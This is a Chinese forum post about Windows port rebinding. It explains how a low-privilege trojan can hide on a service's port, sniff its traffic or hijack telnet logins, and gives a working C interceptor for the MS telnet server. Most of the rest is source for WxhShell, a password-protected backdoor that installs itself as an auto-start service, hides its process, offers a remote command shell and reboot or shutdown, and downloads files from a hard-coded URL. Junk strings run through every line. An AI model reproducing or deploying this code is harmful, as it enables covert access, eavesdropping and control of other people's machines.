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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :@:i*2=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^T[8j/9o^  
hlpi-oW`  
  saddr.sin_family = AF_INET; iyF~:[8  
mTcopyp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SO #NWa<0|  
i+$G=Z#3E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BitP?6KX  
B&~#.<23:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  R\%&Q|  
2nW:|*:/p6  
  这意味着什么?意味着可以进行如下的攻击: 3[g%T2&[  
S <C'#vj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p&SxR}h  
j~(s3pSCo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d%:B,bck  
2NHkK_B1P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M^c`j#NQ  
U{vt9t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g]IRv(gDh  
la7VeFT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Fd4; ]  
tiZ5 :^$b4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^t&S?_DSZ  
Q k e8BRBn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }pJ6CW  
3BuG_ild  
  #include _d#1muZ?p|  
  #include gOpi>  
  #include v+.  n9  
  #include    *9#6N2J$M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4l/hh|3@  
  int main() 39p&M"Yo  
  { kiLwN nq  
  WORD wVersionRequested; ' c[[H3s!;  
  DWORD ret; %#xdD2oN  
  WSADATA wsaData; {sn RS)-  
  BOOL val; Z)?i&y?  
  SOCKADDR_IN saddr; &Kuo|=f  
  SOCKADDR_IN scaddr; kdVc;v/5  
  int err; AJ_''%$I3:  
  SOCKET s;  F?UI8  
  SOCKET sc; C&\MDOjx  
  int caddsize; d"K~+<V}  
  HANDLE mt; Zd~'%(q  
  DWORD tid;   .+|HJ(  
  wVersionRequested = MAKEWORD( 2, 2 ); W(h].'N  
  err = WSAStartup( wVersionRequested, &wsaData ); RRW/.y  
  if ( err != 0 ) { u@j]U|FpY  
  printf("error!WSAStartup failed!\n"); )HHG3cvU  
  return -1; fqoI(/RWP  
  } {MP8B'r-6  
  saddr.sin_family = AF_INET; lSGtbSyDI  
   toD v~v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3uSj5+@q6  
td*1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i3bH^WwE&k  
  saddr.sin_port = htons(23); ^P4q6BW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,/?7sHK-0  
  { Y>Oh]?  
  printf("error!socket failed!\n"); BHoy:Tp  
  return -1; K(&I8vAp  
  } KIY/nu   
  val = TRUE; tPv3nh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dQX<X}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5*M3sN  
  { >?-etl  
  printf("error!setsockopt failed!\n"); x$:>W3?T=^  
  return -1; <gvuCydsh  
  } `w&Y[8+E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uw!w}1Y]}2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J7Z`wjX1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L5(7;  
RO>3U2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uY{zZ4iw  
  { 5c(mgEvq  
  ret=GetLastError(); Un [olp  
  printf("error!bind failed!\n"); s"hSn_m  
  return -1; W6~aL\[  
  } e70#"~gt[  
  listen(s,2); _ELuQ>zM]+  
  while(1) MIV<"A  
  { L="ipM:Z  
  caddsize = sizeof(scaddr); h(M_ K  
  //接受连接请求 'CF?pxNQ l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z7\}x"hk  
  if(sc!=INVALID_SOCKET) fN)A`>iP  
  { OV@MT^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sz!mn  
  if(mt==NULL) S&yKi  
  { 1!(Og~#(  
  printf("Thread Creat Failed!\n"); `^:>sU  
  break; r#8t @W  
  } 1 u[a713O  
  } 1L~y!il  
  CloseHandle(mt); U*P&O+(1'  
  } pr\wI?:k  
  closesocket(s); $w,O[PIi  
  WSACleanup(); '?j[hhfB-  
  return 0; 2O|jVGap5x  
  }   f*Z8C9)  
  DWORD WINAPI ClientThread(LPVOID lpParam) OTgctw1s  
  { UY(pKe>  
  SOCKET ss = (SOCKET)lpParam; 8C,}nh  
  SOCKET sc; y7f,]<%e_  
  unsigned char buf[4096]; tu4-##{  
  SOCKADDR_IN saddr; E#?Bn5-uBs  
  long num; xqZZ(jZ  
  DWORD val; }PC_qQF  
  DWORD ret; ID{62>R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2p^Jqp`$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6]%SSq&  
  saddr.sin_family = AF_INET; ,,FO6+4f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n(}cK@  
  saddr.sin_port = htons(23); %-lilo   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c0 I;8z`b  
  { /nPNHO>U  
  printf("error!socket failed!\n"); L=7Y~aL=  
  return -1; y cT@ D/  
  } L<7KmN4VX  
  val = 100; -0I]Sm;$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rcn6puZt  
  { `, lnBP3D"  
  ret = GetLastError(); PZ#\O  
  return -1; 3]46qk '  
  } ^ gy"$F3{`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) be<7Vy]j  
  { hFW{qWP  
  ret = GetLastError(); J!\Cs1 !f  
  return -1; ]'.D@vFGO  
  } Kia34 ~W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !t;B.[U *  
  { #<$pl]>}t  
  printf("error!socket connect failed!\n"); +.czj,Sq  
  closesocket(sc); /8cfdP Ba  
  closesocket(ss); GbXa=* <-<  
  return -1; l:@`.'-=  
  } 0: 1[F!]'b  
  while(1) S17iYjy#8T  
  { Th'B5:`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [=EmDP:@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =qJlSb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 No\3kRB4bi  
  num = recv(ss,buf,4096,0); qUS y0SQ/l  
  if(num>0) b41f7t=  
  send(sc,buf,num,0); x(]Um!  
  else if(num==0) 5~R1KjjvA  
  break; GJr1[  
  num = recv(sc,buf,4096,0); .!`y(N0hc  
  if(num>0) p2=+cS"HC  
  send(ss,buf,num,0); >s%&t[r6  
  else if(num==0) 6_=t~9sY  
  break; B4#XQ-  
  } P&sn IJ  
  closesocket(ss); dED&-e#  
  closesocket(sc); vY"i^a`f  
  return 0 ; 'NAC4to;;  
  } {Mv$~T|e7  
WC7ltw2  
ML!>tCT  
========================================================== 6)]zt  
t/vw%|AS  
下边附上一个代码,,WXhSHELL %ij,xN  
sZDxTP+  
========================================================== )N'-A p$g  
n>XfXt =  
#include "stdafx.h" *SmR|Qy  
XU*4MU^'  
#include <stdio.h> eZ G#op  
#include <string.h> ?qmJJ5Gn  
#include <windows.h> w(N$$  
#include <winsock2.h> #xoFcjRE  
#include <winsvc.h> gebDNl\Y2  
#include <urlmon.h> EyDH -}Y  
+a'["Gjq;  
#pragma comment (lib, "Ws2_32.lib") /)J]m  
#pragma comment (lib, "urlmon.lib") }8LTYn  
6JB* brO  
#define MAX_USER   100 // 最大客户端连接数 P+Q}bTb8  
#define BUF_SOCK   200 // sock buffer OpLo[Y\  
#define KEY_BUFF   255 // 输入 buffer lJJ`aYDp  
!+)5?o  
#define REBOOT     0   // 重启 v.!e1ke8D*  
#define SHUTDOWN   1   // 关机 Q/%]%d  
0s72BcP  
#define DEF_PORT   5000 // 监听端口 WNK)IC~c  
@c -| Sl  
#define REG_LEN     16   // 注册表键长度 0F-%C>&g  
#define SVC_LEN     80   // NT服务名长度 EEp~\^ -  
ra|Ku!  
// 从dll定义API <HfmNhI85(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F@ld#O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \sEH)$R'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >mW*K _~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e6i m_ Tk  
s= bP@[Gj  
// wxhshell配置信息 :\"V5  
struct WSCFG { ,Zva^5  
  int ws_port;         // 监听端口 O$(#gB'B  
  char ws_passstr[REG_LEN]; // 口令 QB<~+d W  
  int ws_autoins;       // 安装标记, 1=yes 0=no M\D25=(  
  char ws_regname[REG_LEN]; // 注册表键名 F T$x#>  
  char ws_svcname[REG_LEN]; // 服务名 0x2[*pJ|IW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1EHL8@.M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "KKw\i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O"ebrv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  V$fn$=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s?7"iE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7m.>2U   
3{{Ew}kZm  
}; G0lg5iA<fC  
r E&}B5PN=  
// default Wxhshell configuration 2o<aEn&7|e  
struct WSCFG wscfg={DEF_PORT, W}P9I&3  
    "xuhuanlingzhe", DR(/|?k+  
    1, Oq[YbQ'GE  
    "Wxhshell", giH WC%/  
    "Wxhshell", zrL+:/t  
            "WxhShell Service", `&jG8lHa  
    "Wrsky Windows CmdShell Service", U.pGp]\Q)G  
    "Please Input Your Password: ", > zV  
  1, ly::?  
  "http://www.wrsky.com/wxhshell.exe", Ya29t 98Pk  
  "Wxhshell.exe" Jy P$'v~  
    }; >c=-uI  
D zdKBJT+  
// 消息定义模块 K)#6&\0tT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %cl{J_}{&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Ky&x$dje  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &l~9FE *  
char *msg_ws_ext="\n\rExit."; EQVa8xt/C  
char *msg_ws_end="\n\rQuit."; E[Bj+mX9  
char *msg_ws_boot="\n\rReboot..."; $Ned1@%[  
char *msg_ws_poff="\n\rShutdown..."; c@x6<S%*  
char *msg_ws_down="\n\rSave to "; }q=tg9  
$QnsP#ePN  
char *msg_ws_err="\n\rErr!"; 6 2LLfD  
char *msg_ws_ok="\n\rOK!"; Vtv1{/@+c  
9dwLkr  
char ExeFile[MAX_PATH]; .s%dP.P:i1  
int nUser = 0; 1SG^X-(GM/  
HANDLE handles[MAX_USER]; \vgM`32<  
int OsIsNt; mA4]c   
uHPd!# ]  
SERVICE_STATUS       serviceStatus; Svm'ds7>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R T/)<RT9  
[{6fyd;  
// 函数声明 cQq78Lo  
int Install(void); X{P=2h#g  
int Uninstall(void); a7"Aq:IjU  
int DownloadFile(char *sURL, SOCKET wsh); ?L6pB]l8b  
int Boot(int flag); vvF]g.,  
void HideProc(void); {`V ^V_  
int GetOsVer(void); &e99P{\D  
int Wxhshell(SOCKET wsl); _z53r+A  
void TalkWithClient(void *cs); s/Q8(sF5  
int CmdShell(SOCKET sock); qb +Gjgp  
int StartFromService(void); TiD|.a8S  
int StartWxhshell(LPSTR lpCmdLine); !_>o2  
Dq`$3ZeA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4oN*J +"=+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c1 Hp  
w/@ tH  
// 数据结构和表定义 0+Q; a  
SERVICE_TABLE_ENTRY DispatchTable[] = D/puK  
{ "6>+IF  
{wscfg.ws_svcname, NTServiceMain}, N_?15R7h  
{NULL, NULL} Cps' l  
}; |};-.}u^`h  
apWv+A  
// 自我安装 .Xk#Cwm'  
int Install(void) "]U_o<V  
{ l{hO"fzy  
  char svExeFile[MAX_PATH]; bd)Sb?  
  HKEY key; n,`j~.l-=>  
  strcpy(svExeFile,ExeFile); \  `|  
ebhV;Q.  
// 如果是win9x系统,修改注册表设为自启动 Pp`[E/ qj4  
if(!OsIsNt) { [I78<IJc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oT"7O 5v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N[kl3h%q  
  RegCloseKey(key); X- `PF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cRP!O|I`]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Hn>Ew  
  RegCloseKey(key); ;OSEMgB1  
  return 0; H6<3'P  
    } AU<A\  
  } [@/s! i @  
} oW3Uyj  
else { G!7A]s>C  
9 !s)52qt  
// 如果是NT以上系统,安装为系统服务 ,D\}DJ`)C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'SKq<X%R;  
if (schSCManager!=0) SyI i*dH  
{ Nh1, w  
  SC_HANDLE schService = CreateService *kt%.wPJ  
  ( fr8hT(,s)  
  schSCManager, T*92o:^  
  wscfg.ws_svcname, ;I~ UQgE6H  
  wscfg.ws_svcdisp, &_,.*tha  
  SERVICE_ALL_ACCESS, Cw h[R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U9"Ij}  
  SERVICE_AUTO_START, 3 ]w a8|  
  SERVICE_ERROR_NORMAL, fK+[r1^  
  svExeFile, rS_pv=0S  
  NULL, fkD-mRKw  
  NULL, ~LJtlJ 0  
  NULL, [uFv_G{H  
  NULL, 'W/AYF^5  
  NULL +{WZpP},v  
  ); jm,:jkr  
  if (schService!=0) :b<<  
  { 0iVeM!bM  
  CloseServiceHandle(schService); }[]1`2qD  
  CloseServiceHandle(schSCManager); E+~1GKd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kcE86Y=|x!  
  strcat(svExeFile,wscfg.ws_svcname); t LM/STb6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O ;m[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )zu m.6pT  
  RegCloseKey(key); (} Y|^uM,  
  return 0; 6&,9=(:J&R  
    } 3q.HZfN~  
  } DlQ*'PX7  
  CloseServiceHandle(schSCManager); ]wEFm;N  
} >g2Z t;*@w  
} _EC H(  
%[BOe4[  
return 1; hlFvm$P`M  
} K.42 VM)F  
?F9c6$|  
// 自我卸载 5wb R}`8  
int Uninstall(void) ~2O1$ou  
{ 3($tD*!o  
  HKEY key; <UbLds{+Uo  
ij02J`w:Ra  
if(!OsIsNt) { `ex>q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6&6t=  
  RegDeleteValue(key,wscfg.ws_regname); eV(   
  RegCloseKey(key); Nj+g Sa9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D4PjE@D"H  
  RegDeleteValue(key,wscfg.ws_regname); f# sDG  
  RegCloseKey(key); %( #kJZ  
  return 0; ShJBOaE; -  
  } ,XsBm+Q(  
} E6clVa  
} kw5`KfG9  
else { B=|m._OL]n  
Jv59zI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c:`CL<xzU  
if (schSCManager!=0) hd#MV!ti  
{ II{"6YI>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eI=:z/pd  
  if (schService!=0) e{}vT$-  
  { dd!Q[]$ }  
  if(DeleteService(schService)!=0) { C ,#D4  
  CloseServiceHandle(schService); ZW`wA2R0   
  CloseServiceHandle(schSCManager); 2 t:CK  
  return 0; p~h [4hP  
  } 6:AZZF1  
  CloseServiceHandle(schService); {hBnEj^@  
  } vec4R )S  
  CloseServiceHandle(schSCManager); zc5>)v LH=  
} g!!:o(k  
} ]3CWb>!_  
2;`WI:nt  
return 1; ^d!I{ y#  
} l#rr--];  
jDCf]NvOPM  
// 从指定url下载文件 G!g];7PG(  
int DownloadFile(char *sURL, SOCKET wsh) TQ25"bWi  
{ #EIcP=1m4  
  HRESULT hr; lcEUK  
char seps[]= "/"; @%rj1Gn  
char *token; koy0A/\%  
char *file; &?3P5dy_  
char myURL[MAX_PATH]; `2@f=$B  
char myFILE[MAX_PATH]; |snWO0iF  
y{J7^o(_~  
strcpy(myURL,sURL); 7x)32f"  
  token=strtok(myURL,seps); QUz_2rN^  
  while(token!=NULL) t9[%o=N~lD  
  { 5~=wia  
    file=token; o 5<w2(  
  token=strtok(NULL,seps); ee#\XE=A  
  } )KcY<K  
Ql? >,FZ  
GetCurrentDirectory(MAX_PATH,myFILE); Pv Vn}i   
strcat(myFILE, "\\"); Vl0Y'@{  
strcat(myFILE, file); xHWD1>  
  send(wsh,myFILE,strlen(myFILE),0); i z dJ,8  
send(wsh,"...",3,0); ~uh,R-Q$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -ei+r#  
  if(hr==S_OK) K#a_7/!v/  
return 0; 89a`WV@}  
else . /~#  
return 1; qaEWK0  
rl XMrn  
} xqzB=0  
MFs W  
// 系统电源模块 % e1`wMa  
int Boot(int flag) SOQR(UT  
{ ;N!W|G  
  HANDLE hToken; ki9vJ<  
  TOKEN_PRIVILEGES tkp; <k 7q 9"\4  
LGPg\g`  
  if(OsIsNt) { 1 eMaKT_=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !k=~a]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m,#Us  
    tkp.PrivilegeCount = 1; Y$N D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nIv/B/>pZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F/0x` l  
if(flag==REBOOT) { #5mnSky+s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }R)A%FKi@  
  return 0; 0j2M< W#  
} lv\^@9r  
else { JbW!V Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - xQJY)  
  return 0; >@L^^ -r  
} Fn*)!,)  
  } &-4SA j  
  else { h"ko4b3^'@  
if(flag==REBOOT) { ?8R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i0*6o3h  
  return 0; :qO)^~x  
} cK H By  
else { .DZ8kKY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dp" xO<PE2  
  return 0; (vr v-4  
} R*z:+p}oHy  
} F)4;:".zna  
rklK=W z  
return 1; L+ d4&x  
} Q^\f,E\S  
h6C:`0o  
// win9x进程隐藏模块 J-+p]xG  
void HideProc(void) /2AeJH\-  
{ =9'px3:'WR  
vqnFyd   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @$%[D`Wa<  
  if ( hKernel != NULL ) o"./  
  { p:q?8+W-r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b~<Tgo_/jf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TBp$S=_**  
    FreeLibrary(hKernel); (jB_uMuS  
  } qGPIKu  
Th[Gu8b3  
return; ;H:+w\?8f$  
} >Lr ud{  
bP 8O&R  
// 获取操作系统版本 q%xq\L.  
int GetOsVer(void) _|%l) KO  
{ " .:b43Z  
  OSVERSIONINFO winfo; `SGI Qrb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [j^c&}0  
  GetVersionEx(&winfo); _ BUD~'Q5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qD/X%`>Q  
  return 1; &H<n76G  
  else T)"LuC#C  
  return 0; mbh;oX+  
} o$,Dh?l  
<fm0B3i?  
// 客户端句柄模块 y%^TZ[S  
int Wxhshell(SOCKET wsl) +`H{  
{ JK@" &  
  SOCKET wsh; Ko|p&-Z;  
  struct sockaddr_in client; {s/u [T_D2  
  DWORD myID; 3om4q2R  
Jg\1(ix  
  while(nUser<MAX_USER) AD/7k3:  
{ )@OKL0t  
  int nSize=sizeof(client); =$t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4RXF.kJ3=  
  if(wsh==INVALID_SOCKET) return 1; 3"XS#~l%  
A(<"oAe|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UAi]hUq  
if(handles[nUser]==0) Sd0y=!Pj=  
  closesocket(wsh); ahJu+y  
else ?()$imb*  
  nUser++; Jm(sx'qPx  
  } sF=8E8qa   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t/HUG#W{  
NtnKS@Ht  
  return 0; 9/x_p;bI  
} RU' WHk  
H LnizE  
// 关闭 socket ==z,vxr  
void CloseIt(SOCKET wsh) JG=U@I]  
{ [,1\>z|&  
closesocket(wsh); 'Oe}Ja  
nUser--; }N6r/ VtOQ  
ExitThread(0); 2]f"(X4jp  
} %!;6h^@  
/>i~No#Xm  
// 客户端请求句柄 ZTwCFn  
void TalkWithClient(void *cs) D\ H) uV`  
{ ]ZjydQjo )  
l"-F<^ U  
  SOCKET wsh=(SOCKET)cs; u9 yXHf  
  char pwd[SVC_LEN]; 9W[ ~c"Ku  
  char cmd[KEY_BUFF]; z^q ~|7  
char chr[1]; 3;h%mk KQ+  
int i,j; -brn&1oJ  
F9SkEf]99  
  while (nUser < MAX_USER) { mJ3|UClPS  
?l3PDorR  
if(wscfg.ws_passstr) { ,X2CV INb}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?_+h+{/@B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]iBX`Ni  
  //ZeroMemory(pwd,KEY_BUFF); !PFc)J  
      i=0; P}El#y#&  
  while(i<SVC_LEN) { eI 6G  
qrj:H4#VB  
  // 设置超时 Ak\w)!?s  
  fd_set FdRead; ]qLro<  
  struct timeval TimeOut; laQM*FLg  
  FD_ZERO(&FdRead); abVz/R/o  
  FD_SET(wsh,&FdRead); f[b x|6  
  TimeOut.tv_sec=8; c-2##Pf_8O  
  TimeOut.tv_usec=0; ftqi>^i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <~[ A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2JV,A Zf  
l9%oKJ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pErre2fS  
  pwd=chr[0]; {M5[gr%  
  if(chr[0]==0xd || chr[0]==0xa) { \.R+|`{tf  
  pwd=0; F`3J=AJOJ  
  break; j^g^=uau  
  } tWNz:V  
  i++; Rr#vv  
    } %Q}T9%Mtj  
K'`N(WiL  
  // 如果是非法用户,关闭 socket O=HT3gp&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %U.aRSf/  
} oWZbfR9R  
U-P\F-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j&G*$/lTO6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (5SN=6O  
M``I5r*cg  
while(1) { Btmv{'T_y@  
)1KlcF  
  ZeroMemory(cmd,KEY_BUFF); BCE} Er&  
(Ut)APM  
      // 自动支持客户端 telnet标准   .,C8ASfh  
  j=0; PKT/U^2X]  
  while(j<KEY_BUFF) {  $)5F3 a|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K% ) K$/A  
  cmd[j]=chr[0]; +%$'( t s  
  if(chr[0]==0xa || chr[0]==0xd) {  1k5o?'3&  
  cmd[j]=0; o;+J3\  
  break; >f [Lb|t  
  } Zhl}X!:c?\  
  j++; ,= ;d<O8  
    } je^!W?U4<  
.c[v /SB]  
  // 下载文件 {2`:7U ~|  
  if(strstr(cmd,"http://")) { 4s?x 8oAy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -[cl]H)V  
  if(DownloadFile(cmd,wsh)) l@ +]XyLj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uTN mt]  
  else Hq.ys>_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #C+""qm  
  } TI{W(2O*  
  else { %Lec\(-4L  
,t4g^67R{  
    switch(cmd[0]) { D2$"!7O1H  
  8~QEJW$  
  // 帮助 &J~vXk: !  
  case '?': { t_@xzt10y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Is~bA_- ;  
    break; qRMH[F$`  
  } hcEU kD  
  // 安装 ='1J&w~7  
  case 'i': { ,nqG* o  
    if(Install()) #un#~s 7Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Oe!*|?mS  
    else |A_yr/f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eW$G1h:  
    break; #t /.fd  
    } <r (Y:2  
  // 卸载 GWZ0!V  
  case 'r': { .aWEXJ  
    if(Uninstall()) @q9uU9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH[b1z2D  
    else ^E&':6(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %C*oy$.  
    break; j[ !'l,I  
    } wy5vn?T@  
  // 显示 wxhshell 所在路径 @DYxxM-  
  case 'p': { t?p[w&@M2  
    char svExeFile[MAX_PATH]; ,?;q$Xoi  
    strcpy(svExeFile,"\n\r"); @; ayl  
      strcat(svExeFile,ExeFile); $\>GQ~k  
        send(wsh,svExeFile,strlen(svExeFile),0); p:u?a,p  
    break; S/CT;M@W  
    } M$L1!o1Xf  
  // 重启 ^g`1SU`  
  case 'b': { SGn:f>N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JF]HkH_u  
    if(Boot(REBOOT)) L*tn>AO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pX ]K-  
    else { mc_`:I=  
    closesocket(wsh); wXf_2qB9  
    ExitThread(0); is`Eqcj`dr  
    } iQpKcBx  
    break; CMa~BOt#  
    } 3IHya=qN  
  // 关机 Wd'wL"6De  
  case 'd': { o >bf7+D  
